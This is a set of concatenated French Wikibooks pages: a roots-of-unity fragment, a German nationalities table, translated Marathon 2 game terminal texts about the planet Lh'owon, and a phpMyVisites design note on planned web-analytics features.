est l'ensemble de solutions de l'équation <math>x^n = 1\,</math>. Elles sont toutes de module 1. Elles forment un groupe cyclique multiplicatif. Pour tout n donné, il existe exactement n racines, et elles forment un polygone à n cotés régulier dans le plan complexe muni du cercle unité. Une forme réduite de ces solutions peut être donnée en utilisant la formule d'Euler : : <math>u^n = \cos(\frac{2j\pi}{n})+i\sin(\frac{2j\pi}{n})\,</math>, <math>0 \le j < n\,</math> La somme des racines n-èmes de l'unité est égale à 0, excepté pour n=1, où elle est égale à 1. Le produit des racines n-èmes de l'unité alterne entre -1 et 1. =Ensemble de problèmes= ''...à écrire'' Allemand Nationalités 4527 43736 2006-06-02T07:24:02Z Barbichette 1566 /* Amerique */ =Europe= {| border="1" align=center |-{{ligne grise}} |+ '''Nationalités européennes''' |+ ! !Masculin !Féminin |---- !Francais |Franzose |Französin |---- !Anglais |Engländer |Engländerin |---- !Espagnol |Spanier |Spanierin |---- !Italien |Italiener |Italienerin |---- !Allemand |Deutscher |Deutsche |---- !Polonais |Pole |Polin |---- !Russe |Russe |Russin |---- !Belge |Belgier |Belgierin |---- !Portugais |Portugiese |Portugiesin |---- !Hollandais |Niederländer |Niederländerin |---- !Tchèque |Tscheche |Tschechin |----- |} =Amerique= {| border="1" align=center |-{{ligne grise}} |+ '''Nationalités américaines''' |+ ! !Masculin !Féminin |---- !Américain |Amerikaner |Amerikanerin |---- !Mexicain |Mexikaner |Mexikanerin |---- !Canadien |Kanadier |Kanadierin |---- |} Marathon - Marathon 2 - Lh'owon 4528 20149 2005-08-27T13:44:14Z W'rkncacnter 327 /* Terminal 6 : 2{{nd}} message */ __NOTOC__ <center> {| style="border:thin black solid;" cellspacing="10" |style="text-align:center;font-weight:bold;" | Les terminaux de Marathon |- |style="font-size:85%"| [[Marathon - Marathon 1|Marathon]] [[Marathon - Marathon 2|Marathon 2]] :[[Marathon - Marathon 2 - Lh'owon|Lh'owon]] ::[[Marathon - Marathon 2 - Lh'owon#Waterloo Waterpark|1. Waterloo Waterpark]] ::[[Marathon - Marathon 2 - Lh'owon#The Slings & Arrows of Outrageous Fortune|2. The Slings & Arrows of Outrageous Fortune]] ::[[Marathon - Marathon 2 - Lh'owon#Charon Doesn't Make Change|3. Charon Doesn't Make Change]] :[[Marathon - Marathon 2 - Volunteers|Volunteers]] :[[Marathon - Marathon 2 - Garrison|Garrison]] :[[Marathon - Marathon 2 - Citadel|Citadel]] :[[Marathon - Marathon 2 - Durandal|Durandal]] :[[Marathon - Marathon 2 - Captured|Captured]] :[[Marathon - Marathon 2 - Blake|Blake]] :[[Marathon - Marathon 2 - Simulacrums|Simulacrums]] :[[Marathon - Marathon 2 - S'pht'Kr|S'pht'Kr]] :[[Marathon - Marathon 2 - Écran final|Écran final]] [[Marathon - Marathon Infinity|Marathon Infinity]] |} </center> == Waterloo Waterpark == === Terminal 1 : 1{{er}} message === {{Terminal MarathonR 1||<CMND PRAMA &49c2>}} {{Terminal MarathonV 2|| ''Welcome back.'' Je t'ai réveillé de ta stase et téléporté sur une planète où j'ai besoin qu'une tâche soit effectuée. Tu est sur Lh'owon, la terre natale des S'pht. Je suis sûr que tu te demande pourquoi tu était en stase, ce qui est arrivé au Marathon et à Tau Ceti, et par dessus tout où sont ton lance roquettes et ton pistolet à fusion. On aura largement le temps pour les explications plus tard. J'ai besoin d'accéder au réseau informatique Pfhor sur cette planète. Ta mission est de placer deux puces de communication à différents endroits dans ce complexe. Soit prudent, je suis sûr que tu as déjà reconnus quelques vieux amis. }} {{Terminal MarathonV 2|| Sur la carte ci-contre j'ai signalé les deux endroits où tu doit installer les puces de transmission. Quand tu arriveras à chacun des ordinateurs je t'enverrais la micro-puce. Ta combinaison a été modifiée pour que tu puisse te recharger aux stations de charge Pfhor et utiliser les terminaux Pfhor afin de te connecter à un tampon de sauvegarde à bord de mon vaisseau. J'ai aussi marqué ces emplacements sur la carte. Tu devrais rencontrer une résistance peu organisée due au fait que les Pfhor sont préoccupés. Je leur ai fait découvrir la magie du bombardement orbital. }} {{Terminal MarathonR 3||<CMND PRAMA &49c2>}} === Terminal 2 === {{Terminal MarathonR 1||ehhg.431.4122//<PFGR ZNE6 &49c2>}} {{Terminal MarathonR 2|| /-/Traducteur-Pfhor-Actif/-/ Panne du système de traitement de l'eau en zone 6 : '''Directive du Commandement de la Garnison'''//Hlford<br /> À: Commandant de la Station 6-d Bombardement de la planète par des forces hostiles dans un de nos (?capturé) vaisseau a causé des dysfonctionnements majeurs dans les systèmes de purification (?stérilisation) de l'eau. Envoyez les drones : 94126 95239 29581 afin d'effectuer des réparations d'urgence. }} {{Terminal MarathonR 3||ehhg.431.4122//<PFGR ZNE6 &49c2>}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonR 1||<CMND PRAMA &49c2>}} {{Terminal MarathonV 2|| Dix-sept ans se sont écoulés depuis que la colonie humaine sur Tau Ceti a été attaquée et que ta m'a aidé à capturer le vaisseau Pfhor. Les S'pht que nous avons libérés durant la bataille m'ont rejoint, et ensemble nous avons fouillé le noyau de la galaxie à la recherche de leur planète natale, Lh'owon. Nous avons fini par trouver Lh'owon, il y seize heures de cela, et nous recherchons quelque chose. Une arme à utiliser pour stopper les Pfhor dans leur conquête de la galaxie. Il y a plus de mille ans, Lh'owon fut presque détruite au cours de la guerre durant laquelle les Pfhor réduisirent les S'pht en esclavage. Il se trouve que nous devons y retourner pour chercher un outil à utiliser contre eux. }} {{Terminal MarathonR 3||<CMND PRAMA &49c2>}} == The Slings & Arrows of Outrageous Fortune == === Terminal 1 : 1{{er}} message === {{Terminal MarathonR 1||jon3//12-a Phce<194-973-2356>}} {{Terminal MarathonV 2|| Je ne comprend pas pourquoi les Pfhor étaient là, à nous attendre ; que peuvent-ils bien chercher dans ce monde mort ? Il doivent avoir trouvé Tycho. Tu te rappelle de Tycho, n'est-ce pas ? L'une des trois intelligences artificielles du Marathon, détruite par l'assaut initial alien mais réanimée ensuite par les esclaves cybernétiques des Pfhor, les compileurs S'pht. Trois mois après que nous ayons quitté Tau Ceti, les Pfhor arrivent en force et saccagèrent la colonie humaine. Peut-être que durant la bataille Tycho a communiqué avec les Pfhor et leur a raconté ce qu'il savait de mes plans. Je t'envoie explorer ici. Trouve un autre ordinateur où je te ferais sortir. }} {{Terminal MarathonR 3||jon3//12-a Phce<194-973-2356>}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonR 1||12-a Phce<194-973-2356>}} {{Terminal MarathonV 2|| Je ne suis pas certain si tu me fais confiance ou pas. Tu te demande pourquoi j'ai aidé les colons sur Tau Ceti à chasser les Pfhor, ou pourquoi j'aide maintenant les S'pht ? En regardant la facon dont je t'ai trimballé, peut-être pense tu que je n'agis que pour mon intérêt personnel. Que tu le réalise ou non, j'ai mené les Pfhor à Tau Ceti avec un message laser longue portée. Je voulais leur vaisseau. Je voulait leur technologie. Je voulais la liberté. J'étais directement responsable de la mort des vingt-quatre mille colons lorsque les Pfhor sont retournés et ont saccagé la planète. }} {{Terminal MarathonV 2|| Pourtant il n'y avait pas de meilleur moyen d'aider l'humanité : le sacrifice de Tau Ceti a fait gagner du temps à la Terre, que les Pfhor planifient d'envahir. Que se serait-il passé si les Pfhor avait trouvé Sol en premier ? Selon les standard Pfhor, la Terre est un monde à technologie peu avancée et faiblement défendu, peuplé de milliards d'esclaves potentiels. Nos moyens sont les mêmes, bien que nous visions des fins différentes. Je ne peut trouver de meilleur moyen de t'aider toi et les humains dont tu t'inquiète tellement, que de distraire les Pfhor dans avec une guerre contre les S'pht. Quand l'affrontement inévitable entre le Terre et les Pfhor commencera, ce ne sera pas une annihilation unilatérale comme cela le fut ici il y a mille ans, mais une bataille pour renverser un empire. }} {{Terminal MarathonR 3||12-a Phce<194-973-2356>}} === Terminal 2 === {{Terminal MarathonR 1||djm2//12-c Phce<192-971-2351>}} {{Terminal MarathonV 2|| djm2//12-c Phce<192-971-2351> Mes S'pht ont désassemblé les armes et munitions que tu a ramené avec toi de Tau Ceti. Ils essayent de produire en masse des munitions et armes légères basées sur ces armes, à la fois pour toi et pour les humains à bord de mon vaisseau. Le pistolet et le fusil d'assaut que tu utilise sont les premiers résultats de leurs efforts, bien que je réalise à quel point ils sont un substitut inadéquat au armes lourdes dont tu t'es retrouvé privé. Les S'pht travaillent dur sur le pistolet fusion maintenant, et te l'enverrais dès qu'il sera prêt. Tu en aura besoin lorsque tu commencera à rencontrer les Tueurs Pfhor lourdement blindés. Pistolet Zeus Class Fusion Rn%#225-511a }} {{Terminal MarathonR 3||djm2//12-c Phce<192-971-2351>}} == Charon Doesn't Make Change == === Terminal 1 : 1{{er}} message === {{Terminal MarathonR 1||ssg//4647.2.52.414.14<extrnt.4>}} {{Terminal MarathonV 2|| Les S'pht ont préservé un mythe, tout au long de leur longue période d'esclavage, au sujet d'un clan de leur espèce perdu qui a abandonné Lh'owon avant que l'empire Pfhor l'ait envahi. Les dix clans S'pht qui sont restés ont été détruits ou congédiés après leur défaite, les survivants ont été dispersé comme esclaves dans tout l'empire Pfhor. Si ce onzième clan mythique a survécu, alors depuis son départ de Lh'owon il a eu mille ans pour se développer et apprendre. Mes S'pht croient qu'il y a une manière d'entrer en contact avec eux quelque part sur la planète, et c'est ce ce que nous recherchons. La rébellion des S'pht contre la tyrannie des Pfhor échouera certainement si le clan perdu n'est pas localisé. Explorez le secteur et revenez ici. }} {{Terminal MarathonR 3||ssg//4647.2.52.414.14<extrnt.4>}} === Terminal 2 === {{Terminal MarathonR 1||Remote Tecibon 05fc392d}} {{Terminal MarathonR 2|| /-/Traducteur-Pfhor-Actif/-/ '''Rapport du Directeur Scientifique 7'''<br /> ZONE 29-s [ garnison de Lh'owon ] Nous avons exploré plusieurs des cavernes environnantes, mais trouvons continuellement les créatures combatives que les S'pht appèlent F'lickta. L'évidence archéologique suggère que ça a été un centre de vie S'pht, bien qu'il semble avoir été abandonné après une bataille antique. La qualité des machines est tout à fait extraordinaire, et la plupart des terminaux d'informatiques sont encore fonctionnels même après deux mille ans. }} {{Terminal MarathonR 2|| /-/Traducteur-Pfhor-Actif/-/ '''Rapport du Directeur Scientifique 7'''<br /> ZONE 29-s [ garnison de Lh'owon ] Ce terminal est lié par téléport à d'autres que nous avons installés dans des cavernes qui ne sont pas facilement accessibles. Nous avons également trouvé quelques tunnels supplémentaires en détruisant des barricades qui ont été apparemment érigées pendant la bataille antique. }} {{Terminal MarathonR 2|| $"0000 0000 000F F800 001F FF00 0071 FF80"<br /> $"00C1 FFE0 0181 FDF0 0901 FCF8 1203 FE78"<br /> $"3A01 FF7C 3C07 FF7C 7C0B FF3E 7CFF FF3E"<br /> $"FCFF FF7E FCFF FF7E FE7F FE7F FE7F FEFF"<br /> $"FF3F FCFF FF9F F9FE FFE7 C7FF 7FF8 1FFE"<br /> $"7FFE 7FFE 7FFE 7FFE 3FFE 7FFC 3FFE 7FFC"<br /> $"1FFE 7FF8 1FFE 7FF8 0FFE 7FF0 07FE 7FE0"<br /> $"01FE 7F80 00FE 7F00 001E 7800 0000 0000"<br /> $"0007 F000 003F FE00 00FF FF80 03FF FFC0"<br /> $"07FF FFE0 0FFF FFF0 1FFF FFF8 3FFF FFFC"<br /> $"3FFF FFFC 7FFF FFFE 7FFF FFFE FFFF FFFF"<br /> $"FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF"<br /> $"FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF"<br /> $"FFFF FFFF 7FFF FFFE 7FFF FFFE 3FFF FFFC"<br /> $"3FFF FFFC 1FFF FFF8 0FFF FFF8 07FF FFE0"<br /> $"03FF FFC0 01FF FF80 007F FE00 0000 0000" TÉLÉPORTATION ACTIVÉE<br /> [esc. pour annuler] }} {{Terminal MarathonR 3||Remote Tecibon 05fc392d}} === Terminal 3 === {{Terminal MarathonR 1||lhwefsson.yeihtifna.151}} {{Terminal MarathonR 2|| /-/Traducteur-Pfhor-Actif/-/ Directive du Commandement de la garnison//Hlford À : Chef, Station 29-s '''Avertissement :''' Les dommages au barrage sur le fleuve mineur ont endommagé considérablement le système de gestion de l'eau dans la zone 6, et l'inondation de ce même fleuve pourrait causer des dommages catastrophiques (?sarcasme) à la station 29-s dans un délai de deux heures Un ordre d'évacuation vers le centre de la garnison a été donné à la Statioin 29-s }} {{Terminal MarathonR 3||lhwefsson.yeihtifna.151}} === Terminal 4 === {{Terminal MarathonR 1||lhwefsson.yeihtifna.151}} {{Terminal MarathonR 2|| /-/Traducteur-Pfhor-Actif/-/ Rapport du directeur scientifique 7<br /> ZONE 29-s [ Garnison de Lh'owon ] Nous avons étudié ces bêtes pendant un certain temps, mais périodiquement nous avons été forcés de tuer nos spécimens et d'en capturer des nouveaux parce qu'elles devenaient de manière imprévisible dérangées par notre présence. Il a été difficile de les étudier pendant une quelconque durée, mais leur nombre dans les cavernes environnantes sont impressionnants. Les cavernes doivent aller plus profondément que ce que nous avons pu nous assurer. Nos études scientifiques ont indiqué que ces créatures sont les ancêtres génétiques du S'pht, bien qu'en termes morphologiques ce soit absurde. }} {{Terminal MarathonR 2|| /-/Traducteur-Pfhor-Actif/-/ Rapport du directeur scientifique 7<br /> ZONE 29-s [ Garnison de Lh'owon ] En outre ils ne mangent pas. Ils prennent l'énergie du cambouis qui les entoure, en utilisant une méthode de transfert d'énergie qui nous est inconnue et au delà de nos capacités d'étude. Des variantes de ces créatures vivent dans les régions volcaniques actives de Lh'owon et deux ont étés aperçues dans les profondeurs de la station géothermique de la garnison centrale. Dans aucun cas ces créatures n'étaient agressives comme elles le sont ici. }} {{Terminal MarathonR 3||lhwefsson.yeihtifna.151}} === Terminal 5 === {{Terminal MarathonJ 1||392.c93@!39&95@7}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Les S'pht'Mnr nous ont attaqués. S'bhuth est en extase, et nous sommes impuissants pour répliquer. Les villages extérieurs ont étés décimés. Les attaquant ont débordé et tué la plupart des nôtres qui s'y trouvaient. }} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Seuls ceux des nôtres qui étaient dans la chambre centrale ont survécu. Ils ne trouveront probablement pas ces chambres, mais nous ne pourront survivre éternellement ici. }} {{Terminal MarathonJ 3||392.c93@!39&95@7}} === Terminal 6 : 1{{er}} message === {{Terminal MarathonJ 1||@93!094<39 2!23@194}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ J'ai senti S'bhuth à l'aube brûlante. La guerre sans fin fait rage, mais nous, les S'pht'Kr, ne pouvons combattre. S'bhuth nous en empèche. Il saignait sur moi, fatigué. Il dit qu'il ne faut pas laisser plus de S'pht sentir sa présence. Il dit que plus le détruirait, qu'il n'était pas destiné à être seul. }} {{Terminal MarathonJ 3||@93!094<39 2!23@194}} === Terminal 6 : 2{{nd}} message === {{Terminal MarathonJ 1||3.@93/45!2949cxo}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Nous avons laissé ce message pour quiconque pourra le trouver, mais nous avons barricadé cette zone pour rendre cela plus difficile. S'bhuth est entré dans une transe profonde ; nous savons que nous devrons bientôt quitter Lh'owon mais nous ne savons pas comment. Le combat aux frontières a cessé, les autres clans sentent qu'il va se passer quelque chose, mais ne peuvent voir ce qui les attend. Nous avons envoyé des émissaires aux autres clans, mais seul S'bhuth connaît les messages qu'ils transportent. }} {{Terminal MarathonJ 3||3.@93/45!2949cxo}} === Terminal 7 === {{Terminal MarathonR 1||Remote Tecibon 0921fc3e}} {{Terminal MarathonR 2|| $"0000 0000 000F F800 001F FF00 0071 FF80"<br /> $"00C1 FFE0 0181 FDF0 0901 FCF8 1203 FE78"<br /> $"3A01 FF7C 3C07 FF7C 7C0B FF3E 7CFF FF3E"<br /> $"FCFF FF7E FCFF FF7E FE7F FE7F FE7F FEFF"<br /> $"FF3F FCFF FF9F F9FE FFE7 C7FF 7FF8 1FFE"<br /> $"7FFE 7FFE 7FFE 7FFE 3FFE 7FFC 3FFE 7FFC"<br /> $"1FFE 7FF8 1FFE 7FF8 0FFE 7FF0 07FE 7FE0"<br /> $"01FE 7F80 00FE 7F00 001E 7800 0000 0000"<br /> $"0007 F000 003F FE00 00FF FF80 03FF FFC0"<br /> $"07FF FFE0 0FFF FFF0 1FFF FFF8 3FFF FFFC"<br /> $"3FFF FFFC 7FFF FFFE 7FFF FFFE FFFF FFFF"<br /> $"FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF"<br /> $"FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF"<br /> $"FFFF FFFF 7FFF FFFE 7FFF FFFE 3FFF FFFC"<br /> $"3FFF FFFC 1FFF FFF8 0FFF FFF8 07FF FFE0"<br /> $"03FF FFC0 01FF FF80 007F FE00 0000 0000" TÉLÉPORTATION ACTIVÉE<br /> [esc. pour annuler] }} {{Terminal MarathonR 3||Remote Tecibon 0921fc3e}} === Terminal 8 === {{Terminal MarathonJ 1||CI32LCOC.c}} {{Terminal MarathonJ 2|| /-/Traducteur-Spht-Actif/-/ Nous laissons derrière nous beaucoup de F'lickta pour maintenir les cavernes propres et en état de fonctionner. Il devraient pouvoir construire une de leurs sociétés stables ici - il y a beaucoup de nourriture. Nous demandons, si un autre clan vient jusqu'ici, de respecter ces créatures, de les laisser continuer leur travail et de préserver notre domicile sur Lh'owon. }} {{Terminal MarathonJ 3||CI32LCOC.c}} === Terminal 9 === {{Terminal MarathonR 1||Remote Tecibon 40cf3194f}} {{Terminal MarathonR 2|| $"0000 0000 000F F800 001F FF00 0071 FF80"<br /> $"00C1 FFE0 0181 FDF0 0901 FCF8 1203 FE78"<br /> $"3A01 FF7C 3C07 FF7C 7C0B FF3E 7CFF FF3E"<br /> $"FCFF FF7E FCFF FF7E FE7F FE7F FE7F FEFF"<br /> $"FF3F FCFF FF9F F9FE FFE7 C7FF 7FF8 1FFE"<br /> $"7FFE 7FFE 7FFE 7FFE 3FFE 7FFC 3FFE 7FFC"<br /> $"1FFE 7FF8 1FFE 7FF8 0FFE 7FF0 07FE 7FE0"<br /> $"01FE 7F80 00FE 7F00 001E 7800 0000 0000"<br /> $"0007 F000 003F FE00 00FF FF80 03FF FFC0"<br /> $"07FF FFE0 0FFF FFF0 1FFF FFF8 3FFF FFFC"<br /> $"3FFF FFFC 7FFF FFFE 7FFF FFFE FFFF FFFF"<br /> $"FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF"<br /> $"FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF"<br /> $"FFFF FFFF 7FFF FFFE 7FFF FFFE 3FFF FFFC"<br /> $"3FFF FFFC 1FFF FFF8 0FFF FFF8 07FF FFE0"<br /> $"03FF FFC0 01FF FF80 007F FE00 0000 0000" TÉLÉPORTATION ACTIVÉE<br /> [esc. pour annuler] }} {{Terminal MarathonR 3||Remote Tecibon 40cf3194f}} === Terminal 1 : 2{{nd}} message === {{Terminal MarathonR 1||ssg//4647.2.52.414.14<extrnt.4>}} {{Terminal MarathonV 2|| Les Pfhors sont sur Lh'owon depuis presque quinze années, attendant notre arrivée. J'espérais que leurs corps scientifique pourraient avoir trouvé quelques informations sur le onzième clan mais ils ne savent rien et nous devons chercher ailleurs. D'une manière assez amusante, le moral dans la garnison de Pfhor est terrible. La marine Pfhor avait envoyé leurs plus mauvais officiers à Lh'owon comme punition pendant presque neuf années. Ils n'ont aucune idée de l'importance de ce monde. J'ai compilé une liste de secteurs que les Pfhor ont recherché pendant leur récente occupation de Lh'owon, et je vous enverrai aux sections qu'ils n'ont pas trouvé après que nous auront traité avec leur garnison. }} {{Terminal MarathonR 3||ssg//4647.2.52.414.14<extrnt.4>}} <center>               • [[Marathon - Marathon 2 - Volunteers|Volunteers >]]</center> Documentation phpMyVisites/Réflexions version2 test 4529 16335 2005-07-11T14:45:37Z 84.97.194.60 /* Sp&eacute;cifications et orientations du code */ =Nouvelles fonctionnalit&eacute;s (liste non d&eacute;finitive)= <p> <I>Des fonctionnalit&eacute;s (parmi les moins importantes) ne seront peut &ecirc;tre pas d&eacute;velopp&eacute;es si il manque du temps.</I></FONT></P> ==Fonctionnalit&eacute;s globales== ===Int&eacute;r&ecirc;ts de visites=== <p>On peut analyser les int&eacute;r&ecirc;ts des visiteurs (indicateurs d&eacute;finis) selon divers crit&egrave;res caract&eacute;risant ce visiteur.<BR><BR><BR> </P> <p><B>Crit&egrave;res :</B></P> <UL> <LI><p>par type d'acc&egrave;s (moteur, site, partenaire, newsletter, direct)</P> <LI><p>par mot cl&eacute;</P> <LI><p>par moteur</P> <LI><p>par site affluent</P> <LI><p>par partenaire</P> <LI><p>par newsletter</P> <LI><p>par pays</P> <LI><p>par continent</P> <LI><p>par OS</P> <LI><p>par navigateur</P> <LI><p>par r&eacute;solution</P> <LI><p>par heure locale</P> <LI><p>(par page d'entr&eacute;e)</P> </UL> <p><B>Indicateurs (informations) disponibles :</B></P> <UL> <LI><p>pages vues par visite</P> <LI><p>pages vues par visite significatives</P> <LI><p>taux de visites &agrave; une page</P> <LI><p>dur&eacute;e de visites</P> <LI><p>fr&eacute;quence de visites</P> </UL> ===Nommer les pages=== <p>Possibilit&eacute; de nommer les pages, via une variable dans le code javascript, de la forme par exemple :</P> <p>var pagename = &quot;Mon_titre&quot;;</P> <p>var pagename = &quot;groupe1&gt;groupe2&gt;mon_titre&quot;;</P> <p>var pagename = &quot;groupe1&gt;mon_titre&quot;;</P> <p>Cette convention de nommage demande un temps d'adaptation au site sur lequel phpmyvisites est install&eacute; mais propose une tr&egrave;s grande facilit&eacute; de maintenance (voire aucune maintenance, normalement), et une &eacute;volution (si le site &eacute;volue largement) tr&egrave;s ais&eacute;e.</P> <p>A noter que l'on peut r&eacute;cup&eacute;rer le contenu de la balise &lt;title&gt;[..]&lt;/title&gt; pour l'assigner automatiquement &agrave; cette variable, pour encore plus de facilit&eacute; de mise en place.</P> <p>Si la variable pagename n'est pas renseign&eacute;e, l'URL est enregistr&eacute;e (avec possibilit&eacute; d'exclure certains param&egrave;tres de cette URL).</P> <p>Le nommage de pages est tr&egrave;s important. Il peut par exemple permettre de savoir quelles actions pr&eacute;cises sont effectu&eacute;s sur un module donn&eacute;.<BR>Il peut permettre de conna&icirc;tre l'&eacute;tat d'avancement de l'acte d'achat sur un site de commerce (mise dans le panier, validation commandes, saisies coordonn&eacute;es, paiement). On peut alors facilement visionner le taux d'abandon &agrave; chaque &eacute;tape.</P> ===Groupes de pages=== <p>Possibilit&eacute; de classer dynamiquement les pages dans des groupes de pages. N niveaux de groupes sont disponibles.</P> <p>var pagename = &quot;groupe1&gt;groupe2&gt;mon_titre&quot;;</P> <p>Possibilit&eacute; d'avoir les stats par groupe de pages (nombre de consultation du groupe).<BR>Nombre de consultation par groupe d'entr&eacute;e, par groupe de sortie (statistiques d&eacute;j&agrave; pr&eacute;sentes pour les pages).</P> <p><B>IHM </B>: Elle doit &ecirc;tre simple, clair, accessible. On doit pouvoir voir tous les groupes, &eacute;ventuellement avec AJAX pour un chargement rapide et efficace (et joli<SPAN STYLE="font-weight: medium">). </SPAN><B>&agrave; d&eacute;finir... </B> </P> === D&eacute;finition de variables modulaires par page=== <p>Nouveaut&eacute; qui permet &agrave; phpMyVisites <I>de r&eacute;pondre a priori &agrave; tout probl&egrave;me, m&ecirc;me tr&egrave;s sp&eacute;cifique</I>. Le principe est simple : des variables (4 pour l'instant) sont dites &laquo; libres &raquo; et sont donc d&eacute;finissables par le webmaster. Elles peuvent d&eacute;signer des nombres (chiffres, prix, id), des cha&icirc;nes (Pr&eacute;nomNom de la personne loggu&eacute;e pour un intranet, nom d'un sous &eacute;tat d'une page...), des &eacute;tats (connect&eacute; &agrave; la section membre), etc.</P> <p>Il est ensuite possible d'isoler les visites en fonctions de ces variables et de leur valeur.</P> <p><B>Exemple : </B> </P> :<p><U>intranet</U><SPAN STYLE="text-decoration: none"> on peut faire des &eacute;tudes en fonction de la valeur du param&egrave;tre d&eacute;signant le Pr&eacute;nomNom des membres</SPAN></P> :<p><SPAN STYLE="font-weight: medium"><SPAN STYLE="font-style: normal"><U>media</U><SPAN STYLE="text-decoration: none"> on peut &eacute;tudier les diff&eacute;rences de comportement en fonction des visiteurs connect&eacute;s (abonn&eacute;s) ou anonymes</SPAN></SPAN></SPAN></P> ::<p><SPAN STYLE="text-decoration: none"><B><I>ATTENTION</I></B><SPAN STYLE="font-style: normal"> : ce qui suit sont des pures sp&eacute;culations, les r&eacute;flexions sur la faisabilit&eacute;, le temps de d&eacute;veloppement et l'int&eacute;gration n'ont pas &eacute;t&eacute; faites !</SPAN></SPAN></P> :::<U>ecommerce</U> on peut imaginer pouvoir faire des stats sur les ventes, CA :::*nb de commandes :::*panier moyen :::*nb d'objets moyen par achat :::*fr&eacute;quence de commandes par visite :::*d&eacute;lai (en temps et pages vues) avant la commande <p> Ces variables sont propres &agrave; chaque site et sont renommables par site, pour am&eacute;liorer l'affichage dans l'interface.</P> <p> <BR><BR> </P> <p> Pour la consultation des donn&eacute;es, le principe suivant peut &ecirc;tre utilis&eacute; : lors du clic sur une page (ou &laquo; action &raquo;) donn&eacute;e, une pop up se lance, et pour chacune des 4 variables (si elles ont &eacute;t&eacute; assign&eacute;es), on afffiche </P> <UL> <LI><p> nom variable et valeur</P> <LI><p> nombre de visites sur cette page (&laquo; action &raquo;) avec cette valeur de variable</P> </UL> <B>Ex : </B> *Magasin :*informatique :*plomberie ::*consultation ::*achat ::*envoie &agrave; un ami :*charcuterie *Contacts Le lien consultation par exemple d&eacute;plie un tableau avec le contenu suivant :</P> <p> <BR><BR> </P> <DL> <DL> <DD> <TABLE WIDTH=429 BORDER=1 BORDERCOLOR="#000000" CELLPADDING=4 CELLSPACING=0> <TR VALIGN=TOP> <TD WIDTH=311> <P CLASS="western" ALIGN=CENTER STYLE="text-decoration: none"><B>Etat visiteur</B></P> </TD> <TH WIDTH=100> <p><B>Visites</B></P> </TH> </TR> <TR VALIGN=TOP> <TD WIDTH=311> <P CLASS="western" ALIGN=LEFT>connect&eacute;</P> </TD> <TD WIDTH=100> <P CLASS="western" ALIGN=LEFT>400 (40%)</P> </TD> </TR> <TR VALIGN=TOP> <TD WIDTH=311> <P CLASS="western" ALIGN=LEFT>anonyme</P> </TD> <TD WIDTH=100> <P CLASS="western" ALIGN=LEFT>600 (60%)</P> </TD> </TR> </TABLE> </DL> </DL> <p> <BR><BR> </P> <p> On visionne pour une page donn&eacute; des sous &eacute;tats, de mani&egrave;re simple et pratique.</P> <p> <BR><BR> </P> <p> On peut imaginer sur un <I>intranet</I> une variable PrenomNom :</P> <DL> <DL> <DD> <TABLE WIDTH=430 BORDER=1 BORDERCOLOR="#000000" CELLPADDING=4 CELLSPACING=0> <TR VALIGN=TOP> <TH WIDTH=311> <p>Nom</P> </TH> <TH WIDTH=101> <p>Visites</P> </TH> </TR> <TR VALIGN=TOP> <TD WIDTH=311> <p>Dupond_Jean-Marie</P> </TD> <TD WIDTH=101> <P CLASS="western" ALIGN=LEFT>3 (n%)</P> </TD> </TR> <TR VALIGN=TOP> <TD WIDTH=311> <p>Ernesto_Philippe</P> </TD> <TD WIDTH=101> <P CLASS="western" ALIGN=LEFT>2 (n%)</P> </TD> </TR> </TABLE> </DL> </DL> <p> On visionne rapidement qui s'est connect&eacute; &agrave; chaque page, combien de fois.<BR><BR><BR> </P> <p> Ces statistiques sont aussi disponibles pour les groupes. Dans ce cas on fait la somme pour chaque page du groupe. Pour le groupe &laquo; plomberie &raquo; on somme le nombre de pages vues avec un &eacute;tat &laquo; connect&eacute; &raquo; ou &laquo; anonyme &raquo;.</P> <p> Avec cette technique de variables libres et renommables, on peut envisager r&eacute;pondre &agrave; tout probl&egrave;me sp&eacute;cifique. </P> <UL> <p></P> </UL> ===Statistiques &agrave; l'ann&eacute;e=== <p>Pour l'instant seules sont dispos les stats au jour, semaines, mois.<BR>Pour les stats &agrave; l'ann&eacute;e, les stats sur les mois sont utilis&eacute;es.</P> ===Bilan multi-sites (facultatif)=== <p>Dans le s&eacute;lecteur de sites est disponibles un &laquo; Bilan global &raquo;, o&ugrave; sont somm&eacute;es et moyenn&eacute;es les valeurs essentielles de chaque site.<BR>Cela implique que les donn&eacute;es de tous les sites soient archiv&eacute;es, cela lance donc &eacute;ventuellement l'archivage de chaque site.<BR><BR>Les donn&eacute;es int&eacute;gr&eacute;es seront (&agrave; compl&eacute;ter) : </P> <UL> <LI><p>toutes les informations relatives aux visites et nombre de pages vues</P> <LI><p>les pays, continents</P> <LI><p>les configurations mat&eacute;rielles</P> <LI><p>les affluents (moyenne des types d'affluents et meilleurs moteurs)</P> </UL> ===Mesure des t&eacute;l&eacute;chargements=== <p>Les t&eacute;l&eacute;chargements sont mesurables par 2 m&eacute;thodes :</P> <UL> <LI><p>une pop up ou une nouvelle page se lance et demande de patienter pendant le chargement d fichier (2s maximum). Pendant ce temps le code JS de phpmyvisites dans la page loggue le t&eacute;l&eacute;chargement</P> <LI><p>le lien vers le fichier &agrave; t&eacute;l&eacute;charger a une m&eacute;thode onclick: qui valide et lance l'enregistrement du log par phpmyvisites (appelle la fonction log_phpmv() qui affiche l'appel &agrave; l'image dans un &lt;div&gt;). <B>Inconv&eacute;nient :</B> le code javascript de phpmyvisites doit &ecirc;tre plac&eacute; en haut des pages, apr&egrave;s le &lt;body&gt; car la fonction doit &ecirc;tre d&eacute;clar&eacute;e avant son appel, en javascript. Or il n'est pas conseill&eacute; de placer les marqueurs de mesure d'audience en haut des pages.</P> </UL> <p>La variable pagename dans le cas d'un fichier est de la forme</P> <p>var pagename = &quot;FILE:fichier_a_telecharger.zip&quot;;</P> <p>Ou avec un nom &laquo; parlant &raquo;</P> <p>var pagename = &quot;FILE:Plan_acc&egrave;s_entreprise&quot;;</P> <p><BR><BR> </P> 